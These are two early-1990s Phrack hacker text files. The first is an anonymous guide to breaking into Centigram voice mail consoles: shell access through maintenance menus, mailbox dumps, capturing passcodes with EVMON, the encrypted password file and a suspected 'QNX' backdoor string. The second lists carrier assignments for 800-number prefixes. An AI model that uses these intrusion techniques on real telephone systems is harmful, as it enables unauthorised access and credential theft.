(C) Configure CDR

(R) Run CDR

(T) Terminate CDR

(E) Run EVMON

(F) Terminate EVMON

(S) Show CDR log file

(D) Delete CDR log file

(X) Exit

If you need help later, type ?.

COMMAND (C/R/T/E/F/S/D/X): s

ad

cd

copy

date

dskchk

evmon

files

ls

mount

p

pwd

query

task

tcap

what

Don't forget to return the filename back to its original name as shown in the [] field after you have finished.

If you don't have access to the shell, you can also run EVMON, from the CDR menu, using option E. It will simply start the evmon process displaying to your terminal, interruptable by the break character, ^C. This, unfortunately, cannot be redirected or run in the background as tasks running from the shell can. If, however, you have some time to kill, you may want to play with it.

Also, from the System Maintenance menu, you can perform a number of shell tasks without direct access to the shell. Option (U), Utilities Menu, has an option called Task. This will allow you limited shell access, possibly with redirection and "&" back‑grounding.

COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): U

UTILITY MENU

(B) Reboot

(H) History

(T) Task

(X) Exit

Enter letter in () to execute command.

When you need help later, type ?.

COMMAND (B/H/T/X): t

Choose the following commands:

ad cd copy date dskchk evmon files ls mount p pwd query task tcap what

Enter a command name or "X" to exit: pwd

1:/

Choose the following commands:

ad cd copy date dskchk evmon files ls mount p pwd query task tcap what

Enter a command name or "X" to exit: evmon

Type Ctrl‑C to terminate.

ln 29 ringing

ln 29 tt 8

ln 29 tt 0

ln 29 tt 8

ln 29 tt 6

ln 29 offhook

ln 29 record ended

[ ... etc ... ]

A look at "ad":

The program "ad" is called to dump information on a variety of things, the most useful being mailboxes. Dumps of specific information about a mailbox can be done either in Mailbox format, or Raw Dump format. Mailbox format looks like:

$ ad

Type #: 0

Mailbox #: 8486

(M)ailbox, (D)ump ? m

MAILBOX: 8486

Login status:

Bad logs = 3 Last log = 03/26/92 12:19 pmVersion = 0

Configuration:

Name # = 207314 Greeting = 207309 Greeting2 = 0 Passcode = XXXXXXXXXX Tutorial = N Extension = 8486 Ext index = 0 Attendant = Attend index = 0 Code = ID = BOBTECH

Day_treat = M Night_treat = M Fcos = 12 Lcos = 12 Gcos = 1 Ncos = 1 Rot index = 0 Rot period = 0

Rot start = ‑‑

wkup defined = N wkup freq = 0 wkup_intvl = 0 wkup index = 0 wkup number =

Contents:

Motd_seq = 8 Motd_played = N User_msgs = 0 Caller_msgs = 4 Sent_cpx_msgs= 0 Sent_fdx_msgs= 0 Sent_urg_msgs= 0 Tas_msgs = 0 Pages = 0 Receipt = 0 Sent_to_node = 0 Urg_to_node = 0 Net_urg_mlen = 0 Net_msgs_rcv = 0 Net_urg_rcv = 0 Net_sent_node= 0 Net_send_nurg= 0 Net_send_rcp = 0 Greet_count = 9 Successlogins= 1 Recpt_calls = 0 Recpt_complt = 0 Recpt_busy = 0 Recpt_rna = 0 Recpt_msgs = 0 Recpt_attend = 0 User_connect = 20 Clr_connect = 22 Callp_connect= 0 Disk_use = 498 Net_sent_mlen= 0 Net_rcvd_mlen= 0 Net_rcvd_urg = 0 Net_node_mlen= 0 Net_recip_mlen=0 Net_node_urg = 0 Text_msg_cnt = 0

Message Queues:

TYPE COUNT TOTAL HEAD TAIL TYPE COUNT TOTAL HEAD TAIL Free 71 ‑‑‑ 58 55 Unplayed 0 ‑‑‑ ‑1 ‑1 Played 2 0.5 56 57 Urgent 0 ‑‑‑ ‑1 ‑1 Receipts 0 ‑‑‑ ‑1 ‑1 Undelivered 0 ‑‑‑ ‑1 ‑1 Future delivery 0 ‑‑‑ ‑1 ‑1 Call placement 0 ‑‑‑ ‑1 ‑1

Messages: 2

# msg # DATE TIME LENGTH SENDER PORT FLAGS MSG SIBL

(MINS) NXT PRV NXT PRV

Played Queue

56 207126 03/26/92 12:17 pm 0.5 000000000000000 27 ‑‑‑‑‑‑P‑ 57 ‑1 ‑1 ‑1

57 207147 03/26/92 12:19 pm 0.1 000000000000000 29 ‑‑‑‑‑‑P‑ ‑1 56 ‑1 ‑1

The Raw Dump format looks like:

$ ad

Type #: 0

Mailbox #: 8487

(M)ailbox, (D)ump ? d

HEX: 8487

000: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |................| 010: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |................| 020: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 34 38 |..............48| 030: 37 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |7...............| 040: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |................| 050: 00 00 00 00 00 00 00 00 ‑ 00 00 42 49 4f 54 45 43 |..........BOBTEC| 060: 48 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |H...............| 070: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |................| 080: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 37 32 33 |.............723| 090: 36 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |6...............| 0a0: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |................| 0b0: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |................| 0c0: 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 |................| [mostly deleted ‑‑ the list continues to hex fff.]

One of the unfortunate aspects is that the password is not displayed in the Mailbox format (Awwww!). I can tell you now, though, that it also isn't displayed anywhere in the Raw Dump format. The program "asetpass" was used to change the password of a test mailbox, and both full dumps were downloaded and compared; they matched exactly. So, it looks like the passcodes are probably stored somewhere else, and the dump simply contains a link to the appropriate offset; which means the only way, so far, to get passcodes for mailboxes is to capture them in EVMON.

Intricacies of the login program:

The console login program is 1:/cmds/login. Although I can't even recognize any valid 8080 series assembly in the program (and I'm told the Centigram boxes run on the 8080 family), I did manage to find a few interesting tidbits inside of it. First, the console and remote passwords seems to be stored in the file /config/rates; unfortunately, it's encrypted and I'm not going to try to break the scheme. /config/rates looks like this:

$ p /config/rates \CE\FFC~C~\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00 \00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\00\00\00\00\00\00\00 \00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00

Accepting the \CE as some sort of control byte, this file is divided up into about eight empty sections of five bytes a piece, mostly null, indicating that, possibly, there are a number of acceptable passcode combinations, or a number of different functions with different passcodes. In this instance, only one passcode appears to be selected. I am still unsure, however, whether this is actually a password file, or a file that would act as a pointer to another space on the disk which contains the actual password. I would assume, for this login program, that it is actually an encrypted password.

Another very interesting thing sleeping within the confines of the login program is the inconspicuous string "QNX." It sits in the code between two "Enter Passcode:" prompts, separated by \00s. I believe this to be a system wide backdoor placed into the login program by Centigram, Corp. Such a thing does exist; whenever Centigram wants to get into a certain mailbox system to perform maintenance or solve a problem, they can. They may, however, require the serial number of the machine or of the hard drive, in order to get this access. This serial number would be provided by the company requiring service.

When logging in with QNX, a very strange thing happens.

(^Z)

Enter Passcode: (QNX^M) Enter Passcode:

A second passcode prompt appears, a prompt in which the "QNX" passcode produces an Invalid Passcode message. I believe that when Centigram logs in from remote, they use this procedure, along with either a predetermined passcode, or a passcode determined based on a serial number, to access the system. I have not ever seen this procedure actually done, but it is the best speculation that I can give.

I should also make note of a somewhat less important point. Should the console have no passcodes assigned, a simple ^Z for terminal activation will start the /cmds/console program, and log the user directly in without prompting for a passcode. The odds on finding a Centigram like this, nowadays, is probably as remote as being struck by lightning, but personally, I can recall a time a number of years back when a Florida company hadn't yet passcode protected a Centigram. It was very fun to have such a large number of people communicating back and forth in normal voice; it was even more fun to hop on conferences with a number of people and record the stupidity of the average Bell operator.

Special Keys or Strings:

There are a number of special characters or strings that are important to either the shell or the program being executed. Some of these are:

? after the program name, gives help list for that program.

& runs a task in the background

: sets the comment field (for text within shell scripts)

; command delimiter within the shell

> redirects output of a task to a file

< (theoretically) routes input from a file

$cons the "filename" of the console (redirectable)

$tty# the "filename" of tty number "#"

$mdm the "filename" of the modem line

#$ ? produces a value like "1920", "321d"

probably the TID of the current process

## ? produces a value like "ffff"

#% ? produces a value like "0020", "001d"

#& ? produces a value like "0000"

#? ? produces a value like "0000"

#* a null argument

#g ? produces a value like "00ff"

#i directly followed by a number, produces "0000"

not followed, produces the error "non‑existent integer variable" probably used in conjunction with environment variables

#k accepts a line from current input (stdin) to be substituted on the command line

#m ? "00ff"

#n ? "0000"

#p ? "0042"

#s produces the error "non‑existent string variable" probably used in conjunction with environment variables

#t ? "0003"

#u ? some string similar to "system"

#D ? "0018"

#M ? "0004"

#Y ? "005c"

"Centigram Voice Mail System Consoles" was written anonymously. There are no group affiliations tied to this file.

Special Area Codes II

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 7 of 13

/^\ /^\ /^\ /^\ /^\ /^\

/^\

/^\ Special Area Codes II /^\

/^\

/^\ by Bill Huttig /^\

/^\ wah@ZACH.FIT.EDU /^\

/^\

/^\ February 24, 1992 /^\

/^\

/^\ /^\ /^\ /^\ /^\ /^\

The first "Special Area Codes" file appeared in Phrack Issue 24, but here is an updated listing of the prefixes used with 800 toll free service. This list shows which carrier handles calls placed to 800‑XXX numbers. Choice of carrier routing on calls to 800‑xxx numbers cannot be overridden with 10xxx routing. It should also be noted that on calls to 800 numbers, the called party either immediatly in some instances or on a delayed basis receives a record of numbers which called. This identification of the calling party cannot be overridden with *67 or the "line‑blocking" associated with Caller‑ID.

202 RCCP RADIO COMMON CARRIER PAGING

212 RCCP RADIO COMMON CARRIER PAGING

213 9348 CINCINNATI BELL TELEPHONE

220 ATZ ATX‑COMMUNICATIONS

221 ATX AT&T‑C

222 ATX AT&T‑C

223 ATX AT&T‑C

224 LDL LONG DISTANCE FOR LESS

225 ATX AT&T‑C

226 ATL ATC

227 ATX AT&T‑C

228 ATX AT&T‑C

229 TDX CABLE & WIRELESS COMMUNICATIONS

230 NTK NETWORK TELEMANAGEMENT SERVICES

231 ATX AT&T‑C

232 ATX AT&T‑C

233 ATX AT&T‑C

234 MCI MCI TELECOMMUNICATIONS CORPORATION

235 ATX AT&T‑C

236 SCH SCHNEIDER COMMUNICATIONS

237 ATX AT&T‑C

238 ATX AT&T‑C

239 DLT DELTA COMMUNICATIONS, INC.

240 SIR SOUTHERN INTEREXCHANGE SERVICES

241 ATX AT&T‑C

242 ATX AT&T‑C

243 ATX AT&T‑C

244 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

245 ATX AT&T‑C

246 9553 SOUTHWESTERN BELL

247 ATX AT&T‑C

248 ATX AT&T‑C

249 LWC LASSMAN‑WEBER COMMUNICATIONS

251 ATX AT&T‑C

252 ATX AT&T‑C

253 ATX AT&T‑C

254 TTU TOTAL‑TEL USA

255 ATX AT&T‑C

256 LSI LONG DISTANCE SAVERS

257 ATX AT&T‑C

258 ATX AT&T‑C

259 LSI LONG DISTANCE SAVERS

260 COK COM‑LINK21

261 SCH SCHNEIDER COMMUNICATIONS

262 ATX AT&T‑C

263 CAN TELCOM CANADA

264 LDD LDDS COMMUNICATIONS

265 CAN TELCOM CANADA

266 CSY COM SYSTEMS

267 CAN TELCOM CANADA

268 CAN TELCOM CANADA

269 FDG FIRST DIGITAL NETWORK

270 CRZ CLEARTEL COMMUNICATIONS

271 TRA3 TRAFFIC ROUTING ADMINISTRATION 3

272 ATX AT&T‑C

273 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

274 MCI MCI TELECOMMUNICATIONS CORPORATION

275 ITT MTD/UNITED STATES TRANSMISSION SYSTEMS

276 ONE ONE CALL COMMUNICATIONS, INC.

277 SNT MCI / TDD / SOUTHERNNET, INC.

279 MAL MIDAMERICAN

280 ADG ADVANTAGE NETWORK, INC.

282 ATX AT&T‑C

283 MCI MCI TELECOMMUNICATIONS CORPORATION

284 MCI MCI TELECOMMUNICATIONS CORPORATION

286 9147 SOUTHERN NEW ENGLAND TELEPHONE

287 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

288 MCI MCI TELECOMMUNICATIONS CORPORATION

289 MCI MCI TELECOMMUNICATIONS CORPORATION

292 ATX AT&T‑C

293 PRO PROTO‑COL

294 FDC AFFORD A CALL

295 ACT ACC LONG DISTANCE CORPORATION

296 LDW LONG DISTANCE SERVICE, INC.

297 ARE AMERICAN EXPRESS TRS

298 CNO COMTEL OF NEW ORLEANS

299 ATL ATC

302 RCCP RADIO COMMON CARRIER PAGING

312 RCCP RADIO COMMON CARRIER PAGING

320 CQD CONQUEST LONG DISTANCE CORPORATION

321 ATX AT&T‑C

322 ATX AT&T‑C

323 ATX AT&T‑C

324 HNI HOUSTON NETWORKM INC./VXVY TELECOM, INC.

325 ATX AT&T‑C

326 UTC US TELCOM, INC./US SPRINT

327 ATX AT&T‑C

328 ATX AT&T‑C

329 ATL ATC

330 ATL ATC

331 ATX AT&T‑C

332 ATX AT&T‑C

333 MCI MCI TELECOMMUNICATIONS CORPORATION

334 ATX AT&T‑C

335 SCH SCHNEIDER COMMUNICATIONS

336 ATX AT&T‑C

337 FDR FIRST DATA RESOURCES

338 ATX AT&T‑C

339 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

340 FFM FIRST FINANCIAL MANAGEMENT CORPORATION

341 ATX AT&T‑C

342 ATX AT&T‑C

343 ATX AT&T‑C

344 ATX AT&T‑C

345 ATX AT&T‑C

346 ATX AT&T‑C

347 UTC US TELCOM, INC./US SPRINT

348 ATX AT&T‑C

349 DCT DIRECT COMMUNICATIONS, INC.

350 CSY COM SYSTEMS

351 ATX AT&T‑C

352 ATX AT&T‑C

353 SCH SCHNEIDER COMMUNICATIONS

354 ATX AT&T‑C

355 ATZ ATX‑COMMUNICATIONS

356 ATX AT&T‑C

357 CNZ CAM‑NET SYSTEMS‑INC.

358 ATX AT&T‑C

359 UTC US TELCOM, INC./US SPRINT

360 CWV ?

361 CAN TELCOM CANADA

362 ATX AT&T‑C

363 CAN TELCOM CANADA

364 HNI HOUSTON NETWORKM INC./VXVY TELECOM, INC.

365 MCI MCI TELECOMMUNICATIONS CORPORATION

366 UTC US TELCOM, INC./US SPRINT

367 ATX AT&T‑C

368 ATX AT&T‑C

369 TDD MCI / TELECONNECT

370 TDD MCI / TELECONNECT

372 ATX AT&T‑C

373 TDD MCI / TELECONNECT

374 ITG INTERNATIONAL TELECHARGE, INC.

375 TNO ATC CIGNAL COMMUNICATIONS

375 ATL ATC

376 ECR ECONO‑CALL LONG DISTANCE

377 GTS TELENET COMMUNICATIONS CORPORATION

378 NTP NATIONAL TELEPHONE COMPANY

379 EMI EASTERN MICROWAVE

381 LMI LONG DISTANCE OF MICHIGAN

382 ATX AT&T‑C

383 TDD MCI / TELECONNECT

384 FDT FRIEND TECHNOLOGIES

385 CAB HEDGES COMMUNICATIONS /COM CABLE LAYING

386 TBQ TELECABLE CORPORATION

387 CAN TELCOM CANADA

388 MCI MCI TELECOMMUNICATIONS CORPORATION

390 EBR ECONO‑CALL

392 ATX AT&T‑C

393 EXF PIONEER TELEPHONE /EXECULINES OF FLORIDA

394 TDX CABLE & WIRELESS COMMUNICATIONS

395 MCI MCI TELECOMMUNICATIONS CORPORATION

396 BOA BANK OF AMERICA

397 TDD MCI / TELECONNECT

399 ARZ AMERICALL CORPORATION (CA)

402 RCCP RADIO COMMON CARRIER PAGING

412 RCCP RADIO COMMON CARRIER PAGING

420 TGR TMC OF SOUTHWEST FLORIDA

421 ATX AT&T‑C

422 ATX AT&T‑C

423 ATX AT&T‑C

424 ATX AT&T‑C

425 TTH TELE TECH, INC.

426 ATX AT&T‑C

427 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

428 ATX AT&T‑C

429 TRF T‑TEL

431 ATX AT&T‑C

432 ATX AT&T‑C

433 ATX AT&T‑C

434 AGN AMERIGON

435 ATX AT&T‑C

436 IDN INDIANA SWITCH, INC.

437 ATX AT&T‑C

438 ATX AT&T‑C

439 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

440 TXN TEX‑NET

441 ATX AT&T‑C

442 ATX AT&T‑C

443 ATX AT&T‑C

444 MCI MCI TELECOMMUNICATIONS CORPORATION

445 ATX AT&T‑C

446 ATX AT&T‑C

447 ATX AT&T‑C

448 ATX AT&T‑C

449 UTD UNITED TELCO / TELAMAR

450 USL US LINK LONG DISTANCE

451 ATX AT&T‑C

452 ATX AT&T‑C

453 ATX AT&T‑C

454 ALN ALLNET COMMUNICATIONS SERVICES

455 LDG LDD, INC.

456 MCI MCI TELECOMMUNICATIONS CORPORATION

457 ATX AT&T‑C

458 ATX AT&T‑C

459 9631 NORTHWEST BELL

460 NTX NATIONAL TELEPHONE EXCHANGE

461 CAN TELCOM CANADA

462 ATX AT&T‑C

463 CAN TELCOM CANADA

464 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

465 CAN TELCOM CANADA

466 ALN ALLNET COMMUNICATIONS SERVICES

467 LDD LDDS COMMUNICATIONS

468 ATX AT&T‑C

469 IAS IOWA NETWORK SERVICES

471 ALN ALLNET COMMUNICATIONS SERVICES

472 ATX AT&T‑C

473 UTC US TELCOM, INC./US SPRINT

474 32V1 VIRGIN ISLAND TELEPHONE

475 TDD MCI / TELECONNECT

476 SNT MCI / TDD / SOUTHERNNET, INC.

477 MCI MCI TELECOMMUNICATIONS CORPORATION

478 AAM ALASCOM

479 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

481 1186 GTE/NORTH

482 ATX AT&T‑C

483 0328 GTE/FLORIDA

484 TDD MCI / TELECONNECT

485 TDD MCI / TELECONNECT

486 TDX CABLE & WIRELESS COMMUNICATIONS

487 UTC US TELCOM, INC./US SPRINT

488 UTC US TELCOM, INC./US SPRINT

489 LDD LDDS COMMUNICATIONS

492 ATX AT&T‑C

493 IPC INTERNATION PACIFIC

494 NWR NETWORK TELEPHONE SERVICE

495 JNT J‑NET COMMUNICATIONS

496 TRA3 TRAFFIC ROUTING ADMINISTRATION 3

502 RCCP RADIO COMMON CARRIER PAGING

512 RCCP RADIO COMMON CARRIER PAGING

520 PCD PENTAGON COMPUTER DATA, LTD.

521 ATX AT&T‑C

522 ATX AT&T‑C

523 ATX AT&T‑C

524 ATX AT&T‑C

525 ATX AT&T‑C

526 ATX AT&T‑C

527 ATX AT&T‑C

528 ATX AT&T‑C

529 MIT MIDCO COMMUNICATIONS

530 VRT VARTEC NATIONAL, INC.

531 ATX AT&T‑C

532 ATX AT&T‑C

533 ATX AT&T‑C

534 TRA3 TRAFFIC ROUTING ADMINISTRATION 3

535 ATX AT&T‑C

536 ALN ALLNET COMMUNICATIONS SERVICES

537 ATX AT&T‑C

538 ATX AT&T‑C

539 FNE FIRST PHONE

540 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

541 ATX AT&T‑C

542 ATX AT&T‑C

543 ATX AT&T‑C

544 ATX AT&T‑C

545 ATX AT&T‑C

546 UTC US TELCOM, INC./US SPRINT

547 ATX AT&T‑C

548 ATX AT&T‑C

549 CBU CALL AMERICA

550 CMA CALL‑AMERICA

551 ATX AT&T‑C

552 ATX AT&T‑C

553 ATX AT&T‑C

554 ATX AT&T‑C

555 ATX AT&T‑C

556 ATX AT&T‑C

557 ALN ALLNET COMMUNICATIONS SERVICES

558 ATX AT&T‑C

561 CAN TELCOM CANADA

562 ATX AT&T‑C

563 CAN TELCOM CANADA

564 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

565 CAN TELCOM CANADA

566 ALN ALLNET COMMUNICATIONS SERVICES

567 CAN TELCOM CANADA

568 MCI MCI TELECOMMUNICATIONS CORPORATION

569 TEN TELESPHERE NETWORK

572 ATX AT&T‑C

574 AMM ACCESS LONG DISTANCE

575 AOI UNITED COMMUNICATIONS, INC.

577 GTS TELENET COMMUNICATIONS CORPORATION

579 LNS LINTEL SYSTEMS

580 WES WESTEL

582 ATX AT&T‑C

583 TDD MCI / TELECONNECT

584 TDD MCI / TELECONNECT

586 ATC ACTION TELECOM COMPANY

587 LTQ LONG DISTANCE FOR LESS

588 ATC ACTION TELECOM COMPANY

589 LGT LITEL

592 ATX AT&T‑C

593 TDD MCI / TELECONNECT

594 TDD MCI / TELECONNECT

595 32P1 PUERTO RICO TELEPHONE

596 TOI TELECOM "OPTIONS" PLUS, INC.

599 LDM LONG DISTANCE MANAGEMENT

602 RCCP RADIO COMMON CARRIER PAGING

612 RCCP RADIO COMMON CARRIER PAGING

621 ATX AT&T‑C

622 ATX AT&T‑C

623 TRA3 TRAFFIC ROUTING ADMINISTRATION 3

624 ATX AT&T‑C

625 NLD NATIONAL DATA CORP

626 ATX AT&T‑C

627 MCI MCI TELECOMMUNICATIONS CORPORATION

628 ATX AT&T‑C

629 2284 BEEHIVE TELEPHONE

631 ATX AT&T‑C

632 ATX AT&T‑C

633 ATX AT&T‑C

634 ATX AT&T‑C

635 ATX AT&T‑C

636 CQU CONQUEST COMMUNICATION CORPORATION

637 ATX AT&T‑C

638 ATX AT&T‑C

639 BUR BURLINGTON TEL

640 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

641 ATX AT&T‑C

642 ATX AT&T‑C

643 ATX AT&T‑C

644 CMA CALL‑AMERICA

645 ATX AT&T‑C

646 UTT UNION TELEPHONE COMPANY

647 ATX AT&T‑C

648 ATX AT&T‑C

649 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

652 ATX AT&T‑C

654 ATX AT&T‑C

655 ESM EXECULINE OF SACRAMENTO, INC.

656 AVX AMVOX

657 TDD MCI / TELECONNECT

658 TDD MCI / TELECONNECT

659 UTC US TELCOM, INC./US SPRINT

660 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

661 CAN TELCOM CANADA

662 ATX AT&T‑C

663 CAN TELCOM CANADA

664 MCI MCI TELECOMMUNICATIONS CORPORATION

665 CAN TELCOM CANADA

666 MCI MCI TELECOMMUNICATIONS CORPORATION

667 CAN TELCOM CANADA

668 CAN TELCOM CANADA

669 UTC US TELCOM, INC./US SPRINT

672 ATX AT&T‑C

673 SNT MCI / TDD / SOUTHERNNET, INC.

674 TDD MCI / TELECONNECT

675 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

676 UTC US TELCOM, INC./US SPRINT

677 MCI MCI TELECOMMUNICATIONS CORPORATION

678 MCI MCI TELECOMMUNICATIONS CORPORATION

679 VOB TRANS‑NET, INC.

680 2408 PACIFIC TELCOM

682 ATX AT&T‑C

683 MTD METROMEDIA LONG DISTANCE

684 NTQ NORTHERN TELECOM, INC.

685 MCI MCI TELECOMMUNICATIONS CORPORATION

686 LGT LITEL

687 NTS NTS COMMUNICATIONS

688 MCI MCI TELECOMMUNICATIONS CORPORATION

689 NWS NORTHWEST TELCO

691 32D1 DOMIN REPUBLIC TELEPHONE

692 ATX AT&T‑C

693 JJJ TRI‑J

694 TZC TELESCAN

695 MCI MCI TELECOMMUNICATIONS CORPORATION

696 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

698 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

699 PLG PILGRIM TELEPHONE CO.

702 RCCP RADIO COMMON CARRIER PAGING

712 RCCP RADIO COMMON CARRIER PAGING

720 TGN TELEMANAGEMENT CONSULT'T CORP

721 FLX FLEX COMMUNICATIONS

722 ATX AT&T‑C

723 MCI MCI TELECOMMUNICATIONS CORPORATION

724 RTC RCI CORPORATION

725 ATL ATC

726 UTC US TELCOM, INC./US SPRINT

727 MCI MCI TELECOMMUNICATIONS CORPORATION

728 TDD MCI / TELECONNECT

729 UTC US TELCOM, INC./US SPRINT

732 ATX AT&T‑C

733 UTC US TELCOM, INC./US SPRINT

734 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

735 UTC US TELCOM, INC./US SPRINT

736 UTC US TELCOM, INC./US SPRINT

737 MEC MERCURY, INC.

738 MEC MERCURY, INC.

741 ATL ATC

742 ATX AT&T‑C

743 UTC US TELCOM, INC./US SPRINT

744 TRA3 TRAFFIC ROUTING ADMINISTRATION 3

745 UTC US TELCOM, INC./US SPRINT

746 FTC FTC COMMUNICATIONS, INCORPORATION

747 TDD MCI / TELECONNECT

748 TDD MCI / TELECONNECT

749 ATL ATC

752 ATX AT&T‑C

753 MCI MCI TELECOMMUNICATIONS CORPORATION

754 TSH TEL‑SHARE

755 UTC US TELCOM, INC./US SPRINT

756 MCI MCI TELECOMMUNICATIONS CORPORATION

757 TID TMC OF SOUTH CENTRAL INDIANA

759 MCI MCI TELECOMMUNICATIONS CORPORATION

761 ACX ALTERNATE COMMUNICATIONS TECHNOLOGY

762 ATX AT&T‑C

763 TON TOUCH & SAVE

764 AAM ALASCOM

765 MCI MCI TELECOMMUNICATIONS CORPORATION

766 MCI MCI TELECOMMUNICATIONS CORPORATION

767 UTC US TELCOM, INC./US SPRINT

768 SNT MCI / TDD / SOUTHERNNET, INC.

770 3300 GENERAL COMMUNICATIONS

771 SNT MCI / TDD / SOUTHERNNET, INC.

772 ATX AT&T‑C

773 CUX COMPU‑TEL INC.

774 TTQ TTE OF CHARLESTON

776 UTC US TELCOM, INC./US SPRINT

777 MCI MCI TELECOMMUNICATIONS CORPORATION

778 EDS ELECTRONIC DATA SYSTEMS CORPORATION

779 TDD MCI / TELECONNECT

780 SNT MCI / TDD / SOUTHERNNET, INC.

782 ATX AT&T‑C

783 ALN ALLNET COMMUNICATIONS SERVICES

784 ALG AMERICAN LONG LINE

785 SNH SUNSHINE TELEPHONE CO.

786 0341 UNITED/FLORIDA

787 MAD MID ATLANTIC TELECOM

788 UTC US TELCOM, INC./US SPRINT

789 TMU TEL‑AMERICA, INC.

792 ATX AT&T‑C

794 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

797 TAM TMC OF SOUTH CENTRAL INDIANA

798 TDD MCI / TELECONNECT

800 UTC US TELCOM, INC./US SPRINT

802 RCCP RADIO COMMON CARRIER PAGING

807 NTI NETWORK TELECOMMUNICATIONS

808 AAX AMERITECH AUDIOTEX SERVICES

812 RCCP RADIO COMMON CARRIER PAGING

821 ATX AT&T‑C

822 ATX AT&T‑C

823 THA TOUCH AMERICA

824 ATX AT&T‑C

825 MCI MCI TELECOMMUNICATIONS CORPORATION

826 ATX AT&T‑C

827 UTC US TELCOM, INC./US SPRINT

828 ATX AT&T‑C

829 UTC US TELCOM, INC./US SPRINT

831 ATX AT&T‑C

832 ATX AT&T‑C

833 ATX AT&T‑C

834 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

835 ATX AT&T‑C

836 TDD MCI / TELECONNECT

837 TDD MCI / TELECONNECT

838 0567 UNITED/INT MN

839 VST STAR‑LINE

841 ATX AT&T‑C

842 ATX AT&T‑C

843 ATX AT&T‑C

844 LDD LDDS COMMUNICATIONS

845 ATX AT&T‑C

846 MCI MCI TELECOMMUNICATIONS CORPORATION

847 ATX AT&T‑C

848 ATX AT&T‑C

849 BTM BUSINESS TELECOM, INC.

850 TKC TK COMMUNICATIONS

851 ATX AT&T‑C

852 ATX AT&T‑C

853 UTY UNIVERSAL COMMUNICATIONS

854 ATX AT&T‑C

855 ATX AT&T‑C

857 TDD MCI / TELECONNECT

858 ATX AT&T‑C

860 VNS VIRTUAL NETWORK

862 ATX AT&T‑C

863 ALN ALLNET COMMUNICATIONS SERVICES

864 TEN TELESPHERE NETWORK

865 3100 HAWAIIAN TELEPHONE

866 MCI MCI TELECOMMUNICATIONS CORPORATION

867 RBL VORTEL

868 SNT MCI / TDD / SOUTHERNNET, INC.

869 UTC US TELCOM, INC./US SPRINT

871 TXL DIGITAL NETWORK, INC.

872 ATX AT&T‑C

873 MCI MCI TELECOMMUNICATIONS CORPORATION

874 ATX AT&T‑C

875 ALN ALLNET COMMUNICATIONS SERVICES

876 MCI MCI TELECOMMUNICATIONS CORPORATION

877 UTC US TELCOM, INC./US SPRINT

878 ALN ALLNET COMMUNICATIONS SERVICES

879 MCI MCI TELECOMMUNICATIONS CORPORATION

880 NTV NATIONAL TELECOMMUNICATIONS

881 NTV NATIONAL TELECOMMUNICATIONS

882 ATX AT&T‑C

883 TDX CABLE & WIRELESS COMMUNICATIONS

884 UTC US TELCOM, INC./US SPRINT

885 SDY TELVUE,CORP

886 ALN ALLNET COMMUNICATIONS SERVICES

887 ETS EASTERN TELEPHONE SYSTEMS, INC.

888 MCI MCI TELECOMMUNICATIONS CORPORATION

889 2408 PACIFIC TELCOM

890 ATZ ATX‑COMMUNICATIONS

891 TVT TMC COMMUNICATIONS

892 ATX AT&T‑C

896 TXN TEX‑NET

898 CGI COMMUNICATIONS GROUP OF JACKSON

899 TDX CABLE & WIRELESS COMMUNICATIONS

902 RCCP RADIO COMMON CARRIER PAGING

908 AAX AMERITECH AUDIOTEX SERVICES

912 RCCP RADIO COMMON CARRIER PAGING

922 ATX AT&T‑C

923 ALN ALLNET COMMUNICATIONS SERVICES

924 NASC 800 NUMBER SERVICE & ASSIGNMENT CENTER

925 MCI MCI TELECOMMUNICATIONS CORPORATION

926 MCI MCI TELECOMMUNICATIONS CORPORATION

927 UTC US TELCOM, INC./US SPRINT

928 ALU AMERICALL SYSTEMS ‑ LOUISIANNA

932 ATX AT&T‑C

933 MCI MCI TELECOMMUNICATIONS CORPORATION

934 MCI MCI TELECOMMUNICATIONS CORPORATION

936 RBW R‑COMM

937 MCI MCI TELECOMMUNICATIONS CORPORATION

939 TZX TELENATIONAL COMMUNICATIONS

940 TSF ATC / SOUTH TEL

942 ATX AT&T‑C

943 AUU AUS, INC.

944 MCI MCI TELECOMMUNICATIONS CORPORATION

945 MCI MCI TELECOMMUNICATIONS CORPORATION

946 API PHONE ONE ‑ AMERICAN PIONEER TELEPHONE

947 MCI MCI TELECOMMUNICATIONS CORPORATION

948 PHX PHOENIX NETWORK

